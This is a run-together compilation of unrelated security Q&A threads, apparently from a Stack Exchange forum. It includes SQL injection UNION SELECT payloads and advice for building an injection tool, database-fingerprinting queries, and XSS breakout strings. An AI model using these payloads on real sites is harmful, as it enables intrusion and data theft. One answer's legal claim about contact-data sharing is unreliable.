Distinguishing Between Brute force and Crawlers in error reporting I have been receiving a great many emails recently reporting issues within my website that, when gone back and looked up, have been reported as being Brute force attacks. Upon further inspection of their location. I have noticed a great deal of them are coming from the same IP address, and seem to be linked
to Google, or Yahoo for example this site:

https://www.abuseipdb.com/check/104.199.203.53

reports the following IP: 104.199.203.53, Which originates from google cloud, as brute force.

Is there a good way to distinguish between apparent brute force attacks, and Crawlers checking the site?

Update: all emails are being generated from production site. The error reporting is issuing a null reference exception.

Brute forcing usually applies to sending user/password combinations to your login endpoint. So what you see in a brute force attack is thousands of HTTP POST requests to the URL behind which your login logic resides.

Crawling has a completely different profile. A crawler will hit your website at any entry point, most likely the site's homepage, and start following links from there. Benign crawlers never send POST requests; they simply GET each page, look at the links on that page and later on GET the linked pages. Well-written crawlers will also honor robots.txt, so if you list your login endpoint in robots.txt, crawlers shouldn't request it. Plus well-written crawlers follow rate limits you suggest.

The source IP is completely irelevant in determining whether you're dealing with a crawler or a brute force attack. Both crawlers and brute force attacks may originate from a single IP, or be distributed over several or even hundreds of different IPs.


What is social engineering, how does it relate to security and how can it affect my business? Possible Duplicate:
  Is social-engineering an actual threat

What is social engineering? Can you give me some examples?

Can social engineering have a big impact on business?

When trying to break into a system, one can have multiple approaches. One of the options, that is often overseen, is rather to play the human rather than the machine. One can manipulate a victim into giving him crucial information for the attack or just handing over the information that was the initial target.

It can also mean manipulating someone into not reporting an anomaly or make him use hardware/software (Installing software with a virus/rootkit, inserting a USB drive with a virus on).

Some examples of cases where social engineering had a big impact on a business, some of these I heard through the Belgian Federal Computer Crime Unit, some others through articles.

Case 1: Large package handler looses 3 days worth of package tracking/orders , resulting in a few hundred thousands of euros of damage.

An administrator was fired, the disgruntled man came into the office a few days after he was let go. He made sure it was the less busiest moment possible. He then went on into the system and deleted (including backups) orders of 3 days.
When the man came into the building, an ex-coworker noticed him coming in. Now this man knew the man was fired. The policy of the company also clearly dictated that when an employee sees someone in the building who is not an employee himself and is not accompanied by another employee, the employee needs to alert security.
The co-worker confronted the administrator and asked him what he was doing there. The administrator made a story up saying he was clearing out his office. At this point we see the social engineering event. The administrator makes the ex-coworker think he's there legitemately, whilst he's not. Now the ex-coworker made the mistake of ingoring the company policy.
(Of course other mistakes were made, such as not revoking the rights and access cards to the building immediately)

Case 2: Hackers throw prendrives onto the parking lot of chemical concern DSM
This is a form of social engineering, in the sense of relying on the greedyness or goodness of people. Hackers threw pendrives all over the parkinglot of DSM. The pendrives themselves are infected with a Trojan that installs the rootkit. After analysis it was determined the software was looking for information, possibly company secrets.
The hackers hoped employees would either use the pendrives themselves or put them in their computer to find out what documents are on it to try and see who they belong too. Fortunately the first employee to find a drive brought it to the IT department who did an anlysis of the stick and saw what was on it. They then immediately sent out messages to all the other employees to NOT insert any pendrives they find into their computer. This time there was no information stolen because an employee followed protocol.

Case 3: Hackers pretend to be of the Belgian FCCU, infect the computer with a trojan that auto redirects
In this case hackers pretented to be of the Belgian FCCU and installed malware on a victims PC that auto redirected the victim to a page looking like an official page of the police, stating that he's been disconnected because of downloading pirated software and needs to pay a fine before he can be reconnected again. Hackers use social engineering by posing as officials and threatening the target.

Case 4: Hacker calls victim and bypasses a two-factor authentication
This case happened with a victim that was infected by a trojan. The victim wanted to login into his bank account which used a two factor authentication mechanism. The user has to insert his card into a reader and press the numbers that come onto the screen, provide his pincode and then insert the response into the password field.
The attacker saw that the victim was about to log into his bank account and called him up. He then said to the victim that his bankaccount might have been hacked. He tells him they need to verify his identity, so he asks him to press a button a few times and tell him what number is on there (it's the serial number). The victim now believes the attacker is a bank representative.
He then continued to let the victim enter the numbers he received on his pc to be able to bypass the two factor authentication mechanism. It worked and the victim's bank account was cleared out. This attack is relatively bolt to do, but not impossible. Again the victim was manipulated into thinking the representative was real.

As you can see these can all have grave impacts in day-to-day business proceedings and may cost a company a lot of money. The key is to have special seminars or other means of educating employees and users. Giving them examples of what might happen may result in them making the right decission one day when they are faced a similar situation as the ones above.

As always the risk of this happening has to be weighed to the cost of what might be lost. But in almost every case the risk is higher than the cost to train employees.


LastPass website requests Master Password when creating the account When I wanted to tryout out LastPass today, I was stunned that the webpage form for creating the account at LastPass actually requested the "Master Password", which is the same "Master Password" that use used when logging in locally on e.g. a PC.

At LastPass How It Works it says:

  Local-Only Decryption

  All sensitive data is encrypted and decrypted locally before syncing with LastPass. Your key never leaves your device, and is never shared with LastPass. Your data stays accessible only to you.

But when I have given the "Master Password" up front when creating the account, it appears to me that the keys is actually shared with LastPass, so LastPass have the required password to decrypt my passwords.

The relevant part of the HTML form is show in this image:

And based on my understanding on HTML forms, that will send the "Master Password" to LastPass when the form is submitted.

Can anybody explain if I am wrong about this?

I took a look at their page and it would appear that the password is hashed before being sent on to their servers. They do this with JavaScript/jQuery:

// all validation tests passed - create account
$(createaccountbtn).addClass("btn_disabled");
g_username = username.value = username.value.toLowerCase().replace(/\s*/g, "");
g_fixpbkdf2 = 1;
g_local_key = make_lp_key_iterations( username.value, mpw.value, iterations.value );
document.getElementById("hash").value = make_lp_hash_iterations( g_local_key, mpw.value, iterations.value );
mpw.value=document.getElementById("reenterpassword").value="********";

if(typeof(saveKey)!="undefined") saveKey();

var postData = $( lpform ).serializeArray();
var url = $( lpform ).attr("action");

So, if you want some simple end tests: either watch the packets sent with a packet sniffer & you'll see only a hash sent, or disable JavaScript in your browser, and the form submission should fail.

It's essential to look at the included JavaScript of a page when considering form submission, since it's the only way to hash or encrypt values on the client side.


Can I use any ssl certificate to sign and encrypt AS2 message? I'm absolutely new to this topic of ssl certificates, so please be patient with me.

My task is to install an AS2 communication with some business partner. Therefore we need message signing and encryption. Some communication partners are accepting self created certificates, which is a bit curious, since they cannot be sure, that I am the one, who I pretend to be.

Nevertheless, I want to purchase a ssl certificate from a CA, e.g. godaddy. Now here is the question.

Can I use any certificate, which I can purchase from godaddy, to sign and encrypt the AS2 messages?

I didn't find anything about this combined with AS2, so I've to ask. Perhaps, it's not a matter of the technology used. Since, I really want to understand ssl certificates a reference to an article or something similar, would be highly appreciated. Well a short "Yes" or "No" would also be fine.

If it's not possible, which requirements on a ssl certificate must be met?

AS2 builds over S/MIME, so you need a certificate for S/MIME. Certificates for S/MIME are very similar to certificates for SSL, but some details may vary. See this answer for some details.

You might want to generate your own certificates with some tool like OpenSSL. Godaddy is an established CA whose main asset is that their root public key is already known to most OS and browsers in the World, and that's very convenient when you want to establish a communication channel with someone that you do not know beforehand. But for a business partner that you already know, you do not need Godaddy to come and say "yeah, that's his real name". You could simply manually exchange the certificates (the public keys) in a formal "key ceremony" between you and your partner. (Formalism can include a pint of Guinness.)


Read SSL Certs with user process I am running my own server, on which I have different services (Nginx etc.).
All these (internet) services are / should be secured with SSL (offcialy signed).

The key files / certificates are located in the directory /etc/ssl.
Nginx (because it has root permissions) can read these files / directory, but other services (which run in the userspace, such as IRCD-Hybrid or ZNC) can not.

How can I secure my key and certs, but at the same time allow these processes to read (not write) them?

I don't think that you ever want users to have access to the servers private key. Of course, access to the public key doesn't matter.

I think that your other services should be running under non-privileged but still non-user accounts. Then you can change ownership of the keys to root:adm or something more suitable and add the service accounts to the same group. The public key can be world readable.


Is this a ViewState attack? I recently found this request in the event log:

Client IP: 193.203.XX.XX
Port: 53080
User-Agent: Mozilla/4.0 (compatible; Synapse)
ViewState: -1'
Referer:

Now, the ViewState: -1' part combined with the origin of the IP address (Ukraine, we don't have clients there) makes it look suspicious to me. Is this a new kind of attack and should I be worried?

Update

Here's the log:

2012-08-14 10:13:17 GET /Gesloten.aspx - 80 - 193.203.XX.XX Mozilla/4.0+(compatible;+Synapse) 200 0 0 546
2012-08-14 10:13:17 POST /gesloten.aspx - 80 - 193.203.XX.XX Mozilla/4.0+(compatible;+Synapse) 500 0 0 218

I am pretty sure that this is not Apache Synapse, it's some tool built with Ararat Synapse, this is a TCP/IP library built with Delphi . I downloaded source code from both projects, and as far I can see Apache Synapse has a configurable user-agent, and default is :

Synapse-HttpComponents-NIO

On the other hand, Ararat Synapse has default user agent :

Just like one you have in your logs, and I have exactly same user agent probing various SQL Injection attacks, probably attackers are using some tool build in Delphi with Ararat Synapse.

Since bad guys didn't change default user-agent I think it's safe to block user agent:

Mozilla/4.0 (compatible; Synapse)

not partially because you can block some legitimate tool running on Apache Synapse.


SQL Injection - Extracting database data from the page content I have a question I am hoping someone could help with..

I am in the process of writing an SQL Injection tool from scratch (I am aware there are already excellent tools out there such as SQL Map, but this one has to be written from scratch).

The problem I am having:

When manually performing SQL injection to determine tables names or column names and so on using strings such as:

www.vulnerable site.net/articles.php?id =-1 union select 1,2,group_concat(column_name),4 from information_schema.columns --

or

www.vulnarable site.net/articles.php?id =-1 union select 1,2,table_name,4 from information_schema.tables --

it is easy to determine the table names/column names as you can simply look at the page and read the column names that are returned in the page content.

But how can this be done in an automated way?

Doing this in an automated fashion is a lot harder though because how does the tool know what on the page that is returned when the sql injection is executed are table names/column names?

What would be the most reliable way to do this so the tool knows what parts of the page content to extract because they are table names/column names?

for example... could I parse/search the page content for strings seperated by commas to get the table and column names that are output by the injection? Is there better more reliable ways to do it?

your help with this is much appreciated, many thanks

The easiest way is to use blind sql injection.  You know if the question you are asking is right or wrong depending on how long the query takes to execute.   This is also the most flexible approach because a blind sql injection exploit will work regardless of the type of sql injection being exploited (blind, non-blind,  select,  insert, update, delete....).

Another approach is to try and identify a visible field on the page while you brute force the number of columns.  Once you find this location on the page,  then you can scrape data from this point (sqlmap does something like this for non-blind injection):

www.vulnerable site.net/articles.php?id =-1 union select 'dsjhfsjhfdf'
www.vulnerable site.net/articles.php?id =-1 union select 'dsjhfsjhfdf','sfjufewjfef'
...

This will work well with MySQL but some database types like postgresql,  the columns in the union select must be the same type.  So the database will also have to be brute-forced.


Can you connect to a mobile network without a SIM? I know during emergency calls we can connect to our mobile networks without using a SIM and make calls.
So it's technically possible to connect.
The SIM card holds encrypted info on how to authenticate to the mobile network.
So my question is: if we have access to the encrypted data of the SIM, would it be possible to connect to the mobile network without using the SIM, by manually entering the information on the device? Can this be done without an internet connection? Can this be done on an average phone?

From Wikipedia: SIM card:

Authentication key (Ki)
The Ki is a 128-bit value used in authenticating the SIMs ....
The SIM card is designed to prevent someone from getting the Ki by using the smart-card interface. Instead, the SIM card provides a function, Run GSM Algorithm, that the phone uses to pass data to the SIM card to be signed with the Ki. This, by design, makes using the SIM card mandatory unless the Ki can be extracted from the SIM card, or the carrier is willing to reveal the Ki ...

Thus, by design a SIM card (or something similar, like eSIM) is designed to be mandatory for authenticating against the network. There are some weaknesses (also described in Wikipedia) which might allow to extract Ki, but even then a SIM card with Ki inside would have been needed in the first place.
Emergency calls don't require authentication though. They only require identification of the device, which can be provided without SIM. But for anything which should be payed for the billing contact need to be known - which requires authentication. And since authentication is provided by the SIM it means that there need to be an associated SIM card or eSIM.

... would it be possible to connect to the mobile network without using the SIM, by manually entering the information on the device?

There are cryptographic operations done on the SIM based on the authentication key. It is not possible to just do these simply manually, but it can be done by software: a SIM card is basically software too, only on a protected hardware.

Can this be done on an average phone?

One would need to have deep access to the software stack of the phone for this. There is no interface for this on average phone.


What is the threat of having the clipboard enabled on Citrix and other rdp? It is a question I have had for some time which I have never received a solid answer on.  It seems most infosec teams prefer to disable clipboard functionality on Citrix and other RDP setups.  What is the real threat here and does the threat actually out weigh the huge inconvenience of not being able to copy/paste text into the client. I am only talking about clipboard copying, not drive sharing (accessing a drive on the client computer).

Update:
In the current iteration Citrix is being used for remote virtual desktop access to the company.  So the Citrix client can be installed on any non-company-controlled PC.  As far as I am aware the only regulation is SOX.  I guess HIPAA for users with that access into the Lawson system.

Depending on the configuration, there may be the ability to copy and paste to a local document. This could become a compliance issue depending on your industry. Say for example you deal with credit card numbers, social security numbers, etc. Someone could copy that data into an email or text file. It really depends on what kind of data you need to protect.

What is the specific industry?
What is the proposed infrastructure structure and flow of work to be completed?
Do you have to comply with HIPAA/HITECH, PCI, or any other types of compliance?

UPDATE: The best option might be to assign company assets that have security measures implemented on them (full disk encryption, USB ports disabled, Logging and auditing enabled, block personal email and networking sites not needed in the HOSTS file, etc.) Not doing so could put information in the lawson system at potential risk. Never underestimate the human element, plan and engineer for it.

UPDATE2: This should help you out. check out http://support.citrix.com/proddocs/topic/xenapp5fp-w2k8/ps-admin-policy-rules.html

which shows:
Prevent cut-and-paste data transfer between the server and the local clipboard

Resources > Other > Turn off clipboard mapping

and turn off clipboard mapping.

The only other thing is that you may want to also consider the ability to print screen to be considered a possible security hole as well. To disable this through group policy check out http://www.sdmsoftware.com/group-policy-preferences/disabling-print-screen-through-group-policy/

Also I would disable USB ports as well just to be more safe and secure.


Who is responsible for leaking my personal information to companies? Lets say I have a couple of friends who I have in my address book and of course they saved me in theirs. There might be the obvious information about me like my phone number and my email address but maybe even more, like my sex, birthday, second email address, work address, private address and so on, depending on how organized my friends are.

When one of my friends installs an app on his/her mobile phone that has permissions to read their contacts, that app (like Facebook/Whatsapp or Google/Apple itself) will most probably grab all the information it can get, upload it to their servers and might match it to other information. At least I have no way of controlling it.
Now some company has all the information about me (which I carefully protected) perfectly arranged and preformatted by my friend or collegue, without my consent.
The person installing the app of course signed away their privacy rights but not mine!

So my question is: Who is responsible for this unauthorized exchange of my personal data [Update] in Germany? [/Update]

Do I have to sue my friend/collegue for adding me to their address book and giving it away so easily or is the company that grabs information to be held responsible?

I asked the same question on the Android forum but it was called off topic. I hope it's ok to ask the same question again here.

It's not an unauthorised exchange unless you make your friends sign NDAs before giving them your contact details. Without that, there's an implicit authorisation for your friends to make reasonable use of the data you've given them, which includes uploading it to third-party websites. So it's your responsibility, for giving out data that you want to be held safe from disclosure without first getting an NDA in place. Treat your own confidential data in the same way as you would any other confidential data, and you won't have this problem.


can malware operate on the login screen of windows 10? Can malware record your keystrokes on the login screen of Windows 10?
Or only after the login screen?

I ask this because sometimes I enter my credential of another distro by mistake.

Yes is it possible. It is possible to record input anywhere. For example with a kernel based keylogger, which are pretty common, even input from the login screen can be gathered.

Depending on the context of execution (user, run type...) the keylogger will have different rights, and may or may not trigger uac windows when first ran.


Single Domain SSL Certificate vs Wildcard Certificate Probably a rather odd question, but something that came to mind.

Wildcard certificates are about 10 times more expensive than a single certificate. However with a single certificate, you can secure sub-domains like secure.example.com ect...

My question is, what prevents me from simply buying a normal single certificate and then putting *.example.com in the CSR ? Is that even possible ? Or, do SSL venders have checks in place to know the difference between an actual sub-domain and a wildcard/* sub-domain.

I'd try myself but I already have all the SSL certs I need.

Wildcard certificates are not much costly as you think, I bought wildcard certificate at $42 for one year, which I think it is affordable. https://www.ssl2buy.com/wildcard-ssl-certificate

There is difference between single and wildcard certificate because a standard certificate can secure only your single website and wildcard certificate can secure unlimited numbers of sub domains.

When you order single certificate you should generate CSR for domain name like www.example.com that can secure both version of website www and non-www. If you want to secure sub-domains, you should add * asterisk before domain name like *.example.com.

As per your question, If you are buying a single certificate and generates CSR for *.example.com, certificate authority will not verify your order and doesn’t send certificate file.


Under constant ddos, even after switching 3 differnet routers? I started getting ddosed when i pissed some minecraft nerd offt on some twitch chat, which he got banned from, and i never saw him again, but i moved to a hotel for about a week, and i kept getting ddosed. I moved to another hotel, and nothing happened, anothere hotel, nothing happened, then i moved in to my new house, got brand new internet literaly today, and im being syn flooded 30 minutes after the router is set up. My router logs are below.

i cant access games like clash of clans and fifa 15, but i can browse the internet perfectly fine, watch youtube ect.

Based on the fact you claim to be getting knocked offline even though you have moved several times, I would guess that you linked your Skype account or some other service that exposes your IP address on your twitch account, which the attacker is using to find your IP.


Is Bluetooth's "advertising" mode more secure than "discoverable" mode? I understand that there are many security issues associated with Bluetooth's "discoverable" mode, and have avoided it where I can. However new features of many systems (e.g. Apple's Handoff/Continuity) rely on having Bluetooth's "advertising" mode always on.

Is Bluetooth's "advertising" mode more secure than "discoverable" mode? Are the modes distinct from a security-issues perspective?

Discoverable is trying to bind connections, while advertising is broadcasting with only partial access to BLE protocol stack. Because it never connects, advertising should be more secure wherever applicable. The article below gives a very complete description of advertising.

    "A non-connectable undirected advertising type signals to scanning
    devices that the advertising device will not support a data connection
    - only broadcast information."

  Bluetooth LE Advertising Mode


Is it really necessary to remove other antivirus software before installing one? I am currently trying to install Kaspersky Total Security, but it persistently asks me to uninstall all other antivirus software: McAfee Security Scan Plus and Avast Software(Free). They claim their software won't work well if other antivirus programs are installed.

I can understand that two simultaneously working antivirus software could conflict with each other, but would they conflict if I turn the other antivirus software off before launching Kaspersky? Or is it just a marketing trick from Kaspersky lab?

"Is it necessary or is it a way to be forced to only use the one product?"

It depends. There are many, many cases where overlapping AV fight with each other and cases where certain products work well together. As products evolve and add new methods of detection, it becomes increasingly difficult to predict the effects of interaction.

I'm not sure what the marketing advantage is to have a monopoly on the desktop when the customer has already acquired a competitor. So, I'm not sure that is a motivating factor.

However, from a troubleshooting and support perspective, it makes sense for a vendor to side-step the complexity and say to only use one.


SQL Injection - Find SQL platform Is there any query that I can use to know which SQL platform a website is using ?
( Oracle - MySQL  - MSSQL - PostgreSQL - Ingres.... )

Use the SQL Injection cheat sheet. Most databases have a way to query the version e.g. SELECT @@version. If you have already found an injectable point that returns data try a couple of those until you get data back.

example methodology:

SELECT @@version # fails. Then you know it is not MS SQL or MySQL.
SELECT version() # fails. You know it is not PostGres
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; # Succeeds! You know it is oracle.

If those fail use other kinds of queries. You can try timed base injections e.g. SLEEP 10, or even executing functions such as TO_NUMBER('10'). Using version specific syntax will let you pretty quickly find out the backend database.

You can also start with some educated guesses. Java web apps often use oracle. .Net often uses MS SQL. PHP often uses MySQL. Django often uses Postgres. Just try specific queries until you get the query to properly execute.

SQLMap can also help fingerprint the backend database. I suggest a combination of using sqlmap + manual testing.


Escaping JavaScript constants how can untrusted values be included in a html-page as javascript string constants? Although the case i am asking uses JSF and Rails, I think this is a general problem independent of the server side framework.

on-attributes

It is obviously not enough to escape \ ' " in on-attributes:

onclick='alert("[variable]")'
variable: hello, world&quot;); alert(&quot;XSS
result: alert("hello, world&quot;); alert(&quot;XSS")

In Firefox this will show a "hello, world" and an "XSS" alert dialog.
As the variable does not contain a ", the Rails function escape_javascript is not sufficient in this context. Appyling html escaping seems to be secure, as only the original dialog box is shown in this case:

result: onlick='alert("hello, world&amp;quot;); alert(&amp;quot;XSS")'

script-tags

In <script> tags, however, different rules apply in Firefox:

<script type="text/javascript">
   alert("hello, world&quot;); alert(&quot;XSS");
</script>

This displays just one dialog box; but the quotes are displays in their escaped form. There are two conclusions: 1st) &quot; is not parsed as an JavaScript quotation sign (good), 2nd) it is not parsed according to HTML rules either (bad). So that any attempt to html escape the constant creates broken data.

Skipping html escaping in script-tags, however, is not an option:

<script type="text/javascript">alert("[variable]");</script>
variable: hello, world</script><script>alert("XSS
result: <script type="text/javascript">
        alert("hello, world</script><script>alert("XSS");</script>

The first script tag creates an syntax error because of the missing ". But in Firefox the injected second script tag is executed.

tl,dr

Is there a secure way to write untrusted values to JavaScript constants? This seems to be a total mess, and I am currently leaning towards using html elements (with style="dispaly:none") instead. An XMLHttpRequest call using JSON would be another option. But both approaches feel like cheating.

Another interesting (older) encoding library is the OWASP Encoding Project (previously the "Reform" library) - http://www.owasp.org/index.php/Category:OWASP_Encoding_Project

This is functionally identical to Microsoft's AntiXSS 1.x (not unusual - Mike Eddington wrote a lot of the internal Microsoft library that later became AntiXSS, and then WPL), but supports most common web languages except Ruby/Rails.

It implements a pessimistic encoding approach (encodes everything except what is known to be safe), and gives you results like this:

eval(';  --> eval\x28\x27\x3b

eval\u0080 --> eval\u0080

\u003cscript\u003e. --> \x3cscript\x3e.


Bruteforcing hardware-encrypted SSD Can you bruteforce a hardware-encrypted SSD drive? I mean recovering the password needed to unlock the drive.
Is there any software could do this? Here the focus is the software that could do the job.

Yes, you can brute-force a hardware-encrypted SSD drive.

The time it takes to be successful though is up to the method used, the length of the password and the hardware & software capabilities of the machine doing the BF attack (which dictates how many tries/sec can be attempted).


Question on DH key exchange The server is configured to support the cipher suite TLS_DHE_RSA_WITH_AES_128_CBC_SHA and validate the client's certificate.

My understanding is that the server uses DH for key exchange which does not require encryption or decryption but a math formula (g MOD p) to derive a secret key for both the server and client.

So in this case, if the client initiates the handshake (client hello), the TLS communication can be established just with public certificates of server and client. Is the client's private key is not required? If so, is this not an insecure configuration?

The concern is, if client's private key is not being used, any one who has client's public key should be able to connect to server over tls..? this should not be the case in IOT which uses PKI for device authentication.

Is the client's private key is not required?

The TLS key exchange has nothing to do with authentication using client certificates, i.e. it is fully independent from it. This means both RSA key exchange and DH key exchange can be used with or without authentication by client certificates.

Client certificates are requested by the server but only if the server is configured accordingly (usually not the case). Only then the server will issue a CertificateRequest and the client will provide its own certificate and only in this case it needs the matching private key.

In more detail: the certificate is send in clear inside the ClientCertificate message. Additionally the client uses the private key of its certificate to sign the previously exchanged messages and sends this signature inside the CertificateVerify message. This way the client proves that it owns the private key matching the certificate. See TLS 1.2 section 7.4.8 for details.


Store Auth-Token in Cookie or Header? I do understand that a header is the "cleaner" solution to transport an auth-token from a trusted system to another in a REST call. But when you are in client-side JavaScript code, the world looks different to me.

Cookies can be marked as "http-only" and thus can't be easily stolen by JavaScript. A header even has to be set by JavaScript, thus the auth token has to be accessible from within JavaScript. But yet, people use auth-headers to submit their auth-tokens from an untrusted client JavaScript to the server.

What has changed from the good old "use cookies with http-only and secure flag" to "let the JavaScript handle the auth token"? Or should the right way be that "on the client side, use cookies and as soon as you enter the trusted world, switch to auth-header"?

PS: I know that there are many answers to similar questions, but I think my questions is from a different point of view "what has changed, is different".

Cookie Based Authentication
Pros

HttpOnly Flag: Session cookies can be created with the HttpOnly flag which secures the cookies from malicious JavaScript (XSS-Cross-Site Scripting).

Secure flag: Session cookies can be created with Secure flag that prevents the cookies transmission over an unencrypted channel.

Cons

CSRF: Cookies are vulnerable/susceptible to CSRF attacks since the third party cookies are sent by default to the third-party domain that causes the exploitation of CSRF vulnerability.

Performance and Scalability: Cookie based authentication is a stateful authentication such that server has to store the cookies in a file/DB in order to maintain the state of all the users. As the user base increases the backend server has to maintain a separate system so as to store session cookies.

Token Based Authentication:
Pros

Performance and Scalability: Tokens contains the metadata and its signed value(for tamper protection). They are self-contained and hence there is no need of maintaining state at the server. This improves the performance and thus scalability when the expansion is required.

CSRF: Unlike cookie-based authentication, token-based authentication is not susceptible to Cross-Site Request Forgery since the tokens are not sent to third party web applications by default.

Cons

XSS: Since the session tokens are stored in the local data storage of the browser and it is accessible to the JS of the same domain. Hence there is no option to secure session identifier from XSS attacks unlike HTTPOnly security flag which is available in the cookie-based authentication.

Conclusion
Both of the mechanisms have their own pros and cons as mentioned.In the present era of Application Development Frameworks, cons such as XSS and CSRF are taken care by the underlying framework itself and hence I feel it is without a doubt a clear trade-off on which developers and the stakeholders takes the decision.


NAC(Network Access Control) solution for Domain This is a quite typical requirement. I need to find a NAC solution where I could control access of non-standard machines from joining my network physically.
We are running Windows Domain architecture in a very large organisation with multiple departments separated geographically. We have few proprietary software that clients(Windows clients) need to install and also managed anti-virus clients.
Now it is very difficult to deny network access to PCs that are complying these standards.
I've heard about CISCO NAC, which offers a client package to be installed on PCs and then it collects the information from PCs and decides whether to allow that PC in network or not.
What I am looking for is an open-source solution that could provide such kind of features.
Basically we need to check client's domain information(if it has migrated to our domain or not) along-with some presence of few particular software in it.
If client doesn't fulfil this criteria it should be denied access to network at all.
I've searched for the solution and found many, but none seems to be fitting as per my requirements.
If anyone could just name such solutions, it would be very helpful.

Regards
Kriss

May be you can use Group Policy or write a Start Up script.
PS: I assume you have Sys Admin level knowledge of Active Directory and basic scripting.


What are the roles of PSK and GTK in a WPA setting? I understand that PTK is ultimately the key that is used to encrypt traffic between a device and the WAP after the 4WHS and that the PMK is directly related to the 'passphrase' of the wireless network. What about the PSK? How is it generated and what is its role? And why does the authenticator still need to generate the GTK in the 3rd frame since the PTK is already known in the previous frame?

The PSK is the PMK, it's used to derive the PTK, and it's generated by a function called Password Based Key Derivation Function 2 (PBKDF2).

(The problem with the names PSK-PMK is that some people call the Pre-shared key the "Passphrase" like what you share to people for them to connect, when a Key is actually the 128 bits hex string)

And the GTK it's used for broadcasts encryption, since the PTK it's only for the AP and the station and no other station can listen to that, that's why you need another key.

I think I already answered some of this in here


Is it possible to recover securely deleted data from a hard drive using forensics? Is it possible to recover securely (or wiped out) deleted data from a hard drive using forensics?

Imagine police have arrested a hacker, and that hacker, before getting caught, has removed all information that leads him/her to be found guilty on his/her PC using a secure deleting method. In this case, is it possible for police forensics (or any department) to recover the deleted data?

Your question has a problem with the definitions of the words in it.

If a HDD has been securely wiped, by definition, no recovery is possible. If a HDD has not been securely wiped, by definition, recovery is possible.

Perhaps you mean: How secure are various methods of wiping Hard Drives? Very secure, assuming you're talking about "traditional" drives (with magnetic spinning platters) and you use something reputable like Darik's Boot And Nuke (aka DBAN).

There is some concern about how to securely erase Solid State Drives, because the drives have a built in ability to evenly (and transparently) distribute read and write operations across its entire memory space. This is done to increase lifespan of the drive, but can frustrate secure erase operations.


Ensuring key integrity I have encrypted AES key stored in the database with the encrypted data. AES key is encrypted with a key derived from the passphrase. I want to ensure the integrity of the stored AES key. Is the checksum (SHA-256) of the plain key all I need or is there something more to it?

Since you say you're worried about intentional tampering, that immediately limits your solutions to digital signatures, message authentication codes, or authenticated encryption. Your setup doesn't seem to have or need any asymmetric keys, so that rules out digital signatures.

Message authentication codes: derive two keys from the passphrase instead of one. Use the first key to do the encryption and decryption, and the second key to MAC the ciphertext. If the MAC fails, you know that either the passphrase is wrong or the data has been modified.
Authenticated encryption: Galois-Counter Mode (GCM) is a popular choice for authenticated encryption. Using it as your AES mode of operation will fulfill all of your requirements.


tag missing in nse output for http-drupal-enum script I use the ruby NMAP::XML class to pick apart the nse output from large scans  but it expects the script output to be embedded in hostscript tags.

I have just started using http-drupal-enum script (in view of the recent drupal vulnerability) but the ruby analysis script does not extract the script output.

When I looked at the xml file there were no hostscript tags around the script.

Does anyone know if this is a known problem with this script or how to get the script to add in the tags so the output can be processed with standard tools.

This all may be moot as I find, having run this across our server networks, that it only works with HTTP (not S) and even then it fails to detect some sites known to be running drupal.

Script output is in a <hostscript> element when the script is running as a host script with a hostrule function. If it is running as a service script with a portrule function, then the output will be nested under the associated <port> element in a <script> element.


Generating deterministic X.509 certificates? Is there a way to deterministically create an RSA private-key for an X.509 certificate, ideally through a library which has been vetted already?

i.e. user enters some phrase like "this is my private group", and that seed value is used to generate a private RSA key which I can then use as a certificate authority. But in such a way I can get the same key predictably on different machines from just that seed value.

My use case is I would like to support pre-shared keys in my application, but use the existing X.509 support it uses for keying. If I could create a predictable X.509 certificate from some initial value, then this would be trivial since users could verify each other's certificates against the generated key.

I would like to avoid hand-rolling a library to do this for obvious reasons, but this doesn't seem to be a commonly done thing - even though obviously various systems which support PSK must, internally, be doing something quite similar.

At the moment, I see no big problem here, at least, from the PoV of the algorithm itself.

Seed a PRNG with e.g. a hash of your key phrase.
Use the PRNG to generate the RSA key pair.
Use a library to generate the certificate, putting your key material in it.

Determinism is achieved through the use of PRNG seeded with the same key phrase (likely salted and put through e.g. SHA-256), so the output is the same for same input. All the required algorithms can be easily implemented in Python, or existing code can be reused, from e.g. Python-RSA. The only required adjustment would be using your PRNG instead of what it's using now.

Point 3 is the hardest part as I'm no big expert in libraries, but this seems to be a part of another problem (generating a certificate from existing key material). This falls into the "what is the best library for..." category.

As usual: whipping your own crypto is generally discouraged and frowned upon, unless you are Bruce Schneier. ;-)


What is War Dialing? The topic says it all - I encountered the term in a PDF given to me. So ... what does the term/phrase 'War Dialing' mean?

War-dialing is to telephone networks what network-scanning is to computer networks. A computer dials every number in a given number set to map out what's there. In olden days it was looking for unannounced modem gateways into interesting systems, and sometimes fax machines for fax-spam. The robust systems could tell the difference between fax machines, modems, voice-prompt systems, answering machines, voice mail, and actual people, much the same way that nmap can do service and OS identification of network-attached machines.


How are hackers still obtaining credit card information from database breaches? I'm referring to this article here:

https://www.yahoo.com/finance/news/watch-skimmers-atm-004452954.html

"In addition to using skimmers, thieves also obtain debit card information by installing data-stealing software in card readers and through data breaches, where they hack into the main computer systems where card information is stored."

It would seem to me that most payment systems would encrypt all the credit card information at this point (making the information itself un-obtainable?), and that perhaps there are still some businesses out there that don't, and this is how it's being done? Social engineering of people who control the databases? Crappy/easily understandable encryption algorithms?

It would seem to me that most payment systems would encrypt all the
  credit card information at [the database] (making the information itself
  un-obtainable?)

You are correct that all payment systems should encrypt the credit card information at the database.  However, your assumption that this makes the information unobtainable is incorrect.

Most simply, the data in the database is there to be used.  In order to be used, it must be decrypted.  Therefore, the legitimate business systems and users must be able to decrypt it.  An attacker will either access it while it is legitimately decrypted, attempt to compromise the encryption keys, or use the legitimate processes that leverage those keys.

Here's a quote from the PCI Security Standards Council's PCI Data Storage Do’s and Don’ts

  Some cryptography solutions encrypt specific fields of information
  stored in a database; others encrypt a singular file or even the
  entire disk where data is stored. If full-disk encryption is used,
  logical access must be managed independently of native operating
  system access control mechanisms. Decryption keys must not be tied to
  user accounts. Encryption keys used for encryption of cardholder data
  must be protected against both disclosure and misuse. All key
  management processes and procedures for keys used for encryption of
  cardholder data must be fully documented and implemented. For more
  details, see PCI DSS Requirement 3.

So, let's consider three methods of encrypting card data that is in a database, and the weaknesses which allow attackers to get the card data anyway:

Full-disk Encryption
Transparent Data Encryption
Application-layer Encryption

Full-disk Encryption

With full-disk encryption (and with file-level encryption of database files at the OS level), the data is only encrypted when the database is not running.  In order for the database to run, the files must be decrypted.  With something like Bitlocker, EFS, or LUKS+dm-crypt, once the filesystem is unlocked (usually at boot time) the data is readable just as if it was not encrypted.

